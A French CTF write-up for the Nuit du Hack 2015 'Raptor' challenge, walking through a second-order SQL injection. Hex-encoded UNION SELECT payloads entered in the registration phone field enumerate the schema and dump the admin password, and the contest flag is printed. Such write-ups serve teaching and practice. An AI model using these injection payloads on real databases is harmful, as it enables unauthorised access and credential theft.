Outils d'utilisateurs

Outils du Site


ndhquals2015:raptor

Table des matières

Raptor

Énoncé

Aucun énoncé, aucune précision ; seul un lien est présent : raptor.challs.nuitduhack.com:4142

Challenge

Connectons-nous :

    [plo@hyperion Misc]$ nc raptor.challs.nuitduhack.com 4142
    ~ » Welcome to the Raptor/1.0 Information Exchange Server
    ~ » You are anonymous - Read only access !
    Available commands :
    +----------+-----------------+-------------------------------+--------------------------------+
    | Command  | Required Access |             Syntax            |              Help              |
    +----------+-----------------+-------------------------------+--------------------------------+
    |   AUTH   |      guest      |    AUTH [login] [password]    |     Connect to an account      |
    |   LIST   |       user      |       LIST [maxrecords]       |    List users informations     |
    |  SEARCH  |       user      | SEARCH [pattern] [maxresults] |         Search an user         |
    |  RSHELL  |      admin      |             RSHELL            |    Migrate to Raptor Shell     |
    | VERSION  |      guest      |            VERSION            |  Show current Raptor version   |
    | REGISTER |      guest      |            REGISTER           |     Register a new account     |
    |   HELP   |      guest      |            VERSION            |      Show this help menu       |
    |  RIGHTS  |      guest      |             RIGHTS            |   Print your current rights    |
    | HISTORY  |       user      |            HISTORY            |     Show your call history     |
    |  RESET   |      guest      |             RESET             | ROLLBACK ! (Reset the CTF DB.) |
    |   QUIT   |      guest      |              QUIT             |     Close the connection.      |
    +----------+-----------------+-------------------------------+--------------------------------+
    guest ~ $ 

On se retrouve connecté au service Raptor en anonyme/guest.

La sortie affichée semble être issue d'une base de données ; une requête SQL SELECT pourrait nous retourner cet affichage…
Raptor gère trois droits : guest/user/admin et une seule commande nécessite le droit admin : RSHELL.
On joue avec toutes les commandes et on s'aperçoit que :

    guest ~ $ SEARCH %
    +-----------+---------------+-----------+--------+
    | FIRSTNAME |    LASTNAME   | DESKPHONE | RIGHTS |
    +-----------+---------------+-----------+--------+
    |   Wesley  |   Eshmaggle   |    4412   | admin  |
    |    Yvan   |    Delacam    |    0452   |  user  |
    |    Yvon   |     Payrir    |     A     |  user  |
    |   Zlatan  | Ibrahimovitch |    5122   |  user  |
    +-----------+---------------+-----------+--------+
    
    guest ~ $ SEARCH _
    +-----------+---------------+-----------+--------+
    | FIRSTNAME |    LASTNAME   | DESKPHONE | RIGHTS |
    +-----------+---------------+-----------+--------+
    |   Wesley  |   Eshmaggle   |    4412   | admin  |
    |    Yvan   |    Delacam    |    0452   |  user  |
    |    Yvon   |     Payrir    |     A     |  user  |
    |   Zlatan  | Ibrahimovitch |    5122   |  user  |
    +-----------+---------------+-----------+--------+
    

Toutes les entrées utilisateurs sont affichées : les caractères _ et % sont des wildcards SQL, notamment utilisés par l'opérateur LIKE. Ca confirme la supposition du SQL derrière Raptor.
Une information nous saute aux yeux, l'utilisateur Yvon Payrir possède A comme numéro de téléphone !
Ca ne semble pas logique, tentons de créer un utilisateur :

    guest ~ $ REGISTER
    Please fill the informations below :
    
    Login : a
    Firstname : a
    Lastname : a
    Contact (DESK PHONE) : TEST
    /!\ ERROR ! INVALID DESKPHONE NUMBER !

Raté, pourtant ça doit être possible ! Persévérons et essayons “TEST” en hexadécimal :

    guest ~ $ REGISTER
    Please fill the informations below :
    
    Login : a
    Firstname : a
    Lastname : a
    Contact (DESK PHONE) : 0x54455354
    Password : zenk
    Encrypting using 128x(ROT13) ......HAAAAAAAAX......
    Password encryption done ! (Security First) !
    
    guest ~ $ SEARCH % 
    +-----------+---------------+-----------+--------+
    | FIRSTNAME |    LASTNAME   | DESKPHONE | RIGHTS |
    +-----------+---------------+-----------+--------+
    |     a     |       a       |    TEST   |  user  |
    |   Wesley  |   Eshmaggle   |    4412   | admin  |
    |    Yvan   |    Delacam    |    0452   |  user  |
    |    Yvon   |     Payrir    |     A     |  user  |
    |   Zlatan  | Ibrahimovitch |    5122   |  user  |
    +-----------+---------------+-----------+--------+

Bingo ! On peut injecter ce que l'on souhaite dans le champ DESKPHONE ! Bon, ne nous réjouissons pas trop vite, on en fait quoi ? Peut-on exploiter cette faiblesse pour une injection SQL ?

Dans les commandes à notre disposition, on a HISTORY :

    | HISTORY  |       user      |            HISTORY            |     Show your call history     |

Cette commande permet de lister l'historique de nos appels téléphoniques, ça tombe bien puisque c'est dans DESKPHONE qu'on peut injecter des données :

    a ~ $ HISTORY
    RAPTOR CALL REPORTING
    - CLIENT INFO :
    
    +-----------+------+
    |  USERNAME |  a   |
    |   RIGHTS  | user |
    | DESKPHONE | TEST |
    +-----------+------+

Après quelques tests, il s'avère qu'on a effectivement affaire à une “traditionnelle” SQLi où il faut encoder notre injection en hexadécimal dans le champ DESKPHONE :

    Login : d
    Firstname : d
    Lastname : d
    Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354207461626c655f736368656d612c7461626c655f6e616d652c636f6c756d6e5f6e616d652c6e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73
    Password : zenk
    Encrypting using 128x(ROT13) ......HAAAAAAAAX......
    Password encryption done ! (Security First) !
    d ~ $ HISTORY
    RAPTOR CALL REPORTING
    - CLIENT INFO :
    
    +-----------+-----------------------------------------------------------------------------------------+
    |  USERNAME |                                            d                                            |
    |   RIGHTS  |                                           user                                          |
    | DESKPHONE | 1 UNION SELECT table_schema,table_name,column_name,null FROM information_schema.columns |
    +-----------+-----------------------------------------------------------------------------------------+
    
     - CALL HISTORY
    
    +--------------------+---------------------------------------+----------------------------------+----------+
    |         ID         |                  DATE                 |           DESTINATION            | DURATION |
    +--------------------+---------------------------------------+----------------------------------+----------+
    | information_schema |             CHARACTER_SETS            |        CHARACTER_SET_NAME        |   None   |
    | [...]              |             [...]                     |        [...]                     |   None   |
    |    x_8816665166    |                 users                 |                id                |   None   |
    |    x_8816665166    |                 users                 |            firstname             |   None   |
    |    x_8816665166    |                 users                 |               name               |   None   |
    |    x_8816665166    |                 users                 |             contact              |   None   |
    |    x_8816665166    |                 users                 |             password             |   None   |
    |    x_8816665166    |                 users                 |              login               |   None   |
    |    x_8816665166    |                 users                 |              rights              |   None   |
    +--------------------+---------------------------------------+----------------------------------+----------+

Dumpons le mot de passe de l'admin :

    guest ~ $ REGISTER
    Please fill the informations below :
    
    Login : i
    Firstname : i
    Lastname : i
    Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354206c6f67696e2c70617373776f72642c7269676874732c6e756c6c2046524f4d207573657273205748455245207269676874733d2761646d696e27
    Password : i
    Encrypting using 128x(ROT13) ......HAAAAAAAAX......
    Password encryption done ! (Security First) !
    i ~ $ HISTORY
    RAPTOR CALL REPORTING
    - CLIENT INFO :
    
    +-----------+---------------------------------------------------------------------------+
    |  USERNAME |                                     i                                     |
    |   RIGHTS  |                                    user                                   |
    | DESKPHONE | 1 UNION SELECT login,password,rights,null FROM users WHERE rights='admin' |
    +-----------+---------------------------------------------------------------------------+
    
     - CALL HISTORY
    
    +-------------+------------+-------------+----------+
    |      ID     |    DATE    | DESTINATION | DURATION |
    +-------------+------------+-------------+----------+
    | w.eshmaggle | Hanlbatard |    admin    |   None   |
    +-------------+------------+-------------+----------+
    

Bingo, on a le mot de passe, on s'authentifie :

    guest ~ $ AUTH w.eshmaggle Hanlbatard
    Welcome w.eshmaggle !
    w.eshmaggle ~ $ RSHELL
    Ok, ok good job. You are admin... The flag is : 0eb80d9c2cdee95b461cf0b70d40791f
    

On obtient le flag et on valide l'épreuve \o/

ndhquals2015/raptor.txt · Dernière modification: 2017/04/09 15:33 (modification externe)